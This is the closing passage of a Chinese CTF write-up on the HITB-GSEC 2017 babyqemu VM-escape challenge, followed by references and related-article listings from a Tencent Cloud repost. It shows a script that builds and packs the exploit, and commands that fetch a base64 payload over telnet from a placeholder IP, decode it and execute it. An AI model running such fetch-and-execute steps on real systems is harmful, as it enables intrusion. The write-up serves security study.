giantbranch@ubuntu:~/qemu_escape/HITB-GSEC-2017-babyqemu$ cat ./cpexptorootfs.sh
gcc -o exp -static exp.c
cp ./exp ./rootfs/root
cd ./rootfs && find . | cpio -o --format=newc > ../rootfs.cpio

当然在实际比赛中,网络肯定是通的,而且这里的镜像是一个类似于嵌入式的简单系统,没有nc,但是有busybox,busybox支持telnet命令,所以可以通过下面示例进行下载exp

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# telnet XXX.XXX.XXX.XXX 6666 > pwn.b64
# base64 -d pwn.b64 > pwn
# chmod +x pwn
# ./pwn

参考

主要参考 https://kitctf.de/writeups/hitb2017/babyqemu

其他参考 https://github.com/coreos/qemu/blob/ed988a3274c8e08ce220419cb48ef81a16754ea4/include/qemu/timer.h#L414 https://github.com/qemu/qemu https://github.com/qemu/qemu/blob/f2cfa1229e539ee1bb1822912075cf25538ad6b9/include/qemu/timer.h#L96 https://github.com/qemu/qemu/blob/f2cfa1229e539ee1bb1822912075cf25538ad6b9/include/qemu/timer.h#L666 https://zh.wikipedia.org/wiki/%E7%9B%B4%E6%8E%A5%E8%A8%98%E6%86%B6%E9%AB%94%E5%AD%98%E5%8F%96 https://www.giantbranch.cn/2019/07/17/VM%20escape%20%E4%B9%8B%20QEMU%20Case%20Study/

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-01-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
CTF QEMU 虚拟机逃逸总结
来源:https://kirin-say.top/2019/11/06/QEMU-Escape-in-Cloud-Security-Game/
用户1423082
2024/12/31
850
CTF QEMU 虚拟机逃逸之BlizzardCTF 2017 Strng
内存映射I/O (Memory-mapped I/O —— MMIO) 端口映射I/O (port-mapped I/O —— PMIO)
用户1423082
2024/12/31
1290
CTF QEMU 虚拟机逃逸之BlizzardCTF 2017 Strng
CTF QEMU 虚拟机逃逸之强网杯2019线上赛qwct
一开始在16.04,18.04上尝试启动,结果安装的依赖库好像版本不太符合要求,最终在19.04上面安装依赖库即可启动了,看来强网杯还是紧跟最新的系统啊
用户1423082
2024/12/31
340
CTF QEMU 虚拟机逃逸之强网杯2019线上赛qwct
CTF QEMU 虚拟机逃逸之XNUCA 2018 SSD
通过查看xnuca_class_init函数,可以知道xnuca对应00:04.0 Class 00ff: 1234:11e9
用户1423082
2024/12/31
590
CTF QEMU 虚拟机逃逸之XNUCA 2018 SSD
CTF QEMU 虚拟机逃逸之Defcon 2018 - EC3
这个题目给的qemu-system-x86_64的符号是被stripped掉了,相当于增加了点难度
用户1423082
2024/12/31
780
CTF QEMU 虚拟机逃逸之Defcon 2018 - EC3
QEMU 的一些基础知识及QOM(Qemu Object Model)的部分相关源码阅读
QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费开源的可执行硬件虚拟化的(hardware virtualization)开源托管虚拟机(VMM)。还可以为user-level的进程执行CPU仿真,进而允许了为一种架构编译的程序在另外一种架构上面运行。
用户1423082
2024/12/31
4140
QEMU 的一些基础知识及QOM(Qemu Object Model)的部分相关源码阅读
虚拟机逃逸--QEMU案例学习
当前虚拟机被大量部署用于个人使用和企业部门。网络安全供应商使用不同的虚拟机来分析受控和受限环境中的恶意软件。这样就产生了一个问题恶意软件能够从虚拟机中逃脱出去并且执行远程代码吗?
半月弧
2020/09/01
2.1K0
Intel FPGA 100G VF(IFCVF) DPDK用户态VDPA设备probe探测流程
callfd: host侧IO处理完成后, 如果是split vring, 则将结果写入vring used字段, 然后写callfd通知qemu/guest
晓兵
2024/08/04
3420
Intel FPGA 100G VF(IFCVF) DPDK用户态VDPA设备probe探测流程
dpdk技术详解_dpdk acl
igb_uio 是 dpdk 内部实现的将网卡映射到用户态的内核模块,它是 uio 模块的一个实例。
全栈程序员站长
2022/11/17
1.9K0
dpdk技术详解_dpdk acl
QEMU 虚拟机逃逸漏洞(CVE-2019-14378)漏洞分析
这是qemu在网络实现的时候的一个指针错误,当重组大量的ipv4分段数据包时会触发错误,这还是大牛通过代码审计发现的,厉害啊。
用户1423082
2024/12/31
1270
QEMU 虚拟机逃逸漏洞(CVE-2019-14378)漏洞分析
RDMA - GDR GPU Direct RDMA快速入门1
NVIDIA GPUDirect 是一系列技术, 用于增强 GPU间(P2P)或GPU与第三方设备(RDMA)间的数据移动和访问, 无论您是在探索海量数据、研究科学问题、训练神经网络还是为金融市场建模,您都需要一个具有最高数据吞吐量的计算平台。GPU 的数据处理速度比 CPU 快得多,随着 GPU 计算能力的提高,对 IO 带宽的需求也随之增加。NVIDIA GPUDirect®是Magnum IO的一部分,可增强 NVIDIA 数据中心 GPU 的数据移动和访问。使用 GPUDirect,网络适配器和存储驱动器可以直接读取和写入 GPU 内存,从而消除不必要的内存复制、减少 CPU 开销和延迟,从而显着提高性能。这些技术(包括 GPUDirect Storage(GDS)、GPUDirect RDMA(GDR)、GPUDirect 点对点 (P2P) 和 GPUDirect Video)通过一套全面的 API 呈现
晓兵
2025/03/30
1.2K0
RDMA - GDR GPU Direct RDMA快速入门1
virtio详细介绍和1.1新功能
virtio是一种实践出来的技术,并且最终标准化,virtio是一种通用的虚拟化设备模拟标准,得到了大部分guest操作系统和hypervisor的支持,方便guest操作系统和hypervisor之间任意互相匹配。virtio出现之前hypervisor各有各的IO设备模拟方案,并在guest操作系统中大量合入驱动代码,导致一片混乱,后来xen中出来了部分virtio思想,在kvm中实现并且发扬光大,发表了论文《virtio: Towards a De-Facto Standard For Virtual I/O Devices》,论文促使virtio形成了正式标准。virtio标准最早是0.9.5版本(Virtio PCI Card Specification Version 0.9.5),于2012年形成了draft,并没有正式发布,继续发展,2016年发布了1.0版本(Virtual I/O Device (VIRTIO) Version 1.0),2019年发布了1.1版本(Virtual I/O Device (VIRTIO) Version 1.1)。
惠伟
2021/04/27
4.5K0
一文搞懂 | 内核的启动
vmlinux 属于 ELF 文件,要想了解如何启动 vmlinux,首先需要知道 ELF 的格式。
刘盼
2021/12/01
1.8K0
一文搞懂 | 内核的启动
实例演示 | 用Kdump分析内核奔溃原因
本文主要介绍kdump服务和crash的使用,并结合一个简单的实例演示如何分析内核奔溃的原因。本文基于linux kernel 4.19, 体系结构为aarch64。 kdump概述 kdump kdump 是一种先进的基于 kexec 的内核崩溃转储机制,用来捕获kernel crash(内核崩溃)的时候产生的crash dump。当内核产生错误时,kdump会将内存导出为vmcore保存到磁盘。 kdump流程 当系统崩溃时,kdump 使用 kexec 启动到第二个内核。第二个内核通常叫做捕获内核,以
刘盼
2022/07/27
4.1K1
实例演示 | 用Kdump分析内核奔溃原因
Linux下kernel调试环境搭建
一般内核调试需要的东西就是内核镜像和磁盘镜像,不同版本的内核就用不同版本的内核镜像。而需要什么文件就调整磁盘镜像。
赤道企鹅
2022/08/01
2.6K0
全闪分布式存储之PureFlash-极短IO路径-极致性能-极简RDMA和SPDK引擎落盘-支持超融合-IO路径-源码流程及项目简介
极简IO路径, 原生RDMA(verbs)和SPDK引擎落盘加持, 能充分发挥硬件性能, 支持快照, 多副本等, 高可用的高性能分布式存储, 让我们一起见证全闪时代吧!
晓兵
2023/11/25
1.7K0
全闪分布式存储之PureFlash-极短IO路径-极致性能-极简RDMA和SPDK引擎落盘-支持超融合-IO路径-源码流程及项目简介
qemu live migration代码分析
研究热迁移了是为了解决热迁移慢和迁移经常失败的问题,物理机升级内核时需要把上面的虚拟机一台台迁移走,很慢很耗时,有时还提示迁移失败。
惠伟
2021/02/24
4K0
ObjectC对象内存布局分析
MelonTeam
2018/01/04
3K1
ObjectC对象内存布局分析
DPU/IPU SPDK存储卸载之用户态vfio(vfio_user)
IPU: Infrastructure Processing Units (lPUs), 基础设施处理单元(硬件卡), 如存储处理/卸载到IPU
晓兵
2024/09/01
6482
DPU/IPU SPDK存储卸载之用户态vfio(vfio_user)
鸿蒙系统研究之六:U-Boot引导
U-Boot 的全称是 Universal Boot Loader,其作用就是引导系统。对于我们熟悉的 PC,上电后,通过 BIOS 引导操作系统 (Windows、Linux等)。对于嵌入式系统一般将这个引导程序称作 BootLoader,U-Boot 就是目前使用得最广泛的 BootLoader。
云水木石
2021/08/06
2.9K1
相关推荐
CTF QEMU 虚拟机逃逸总结
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档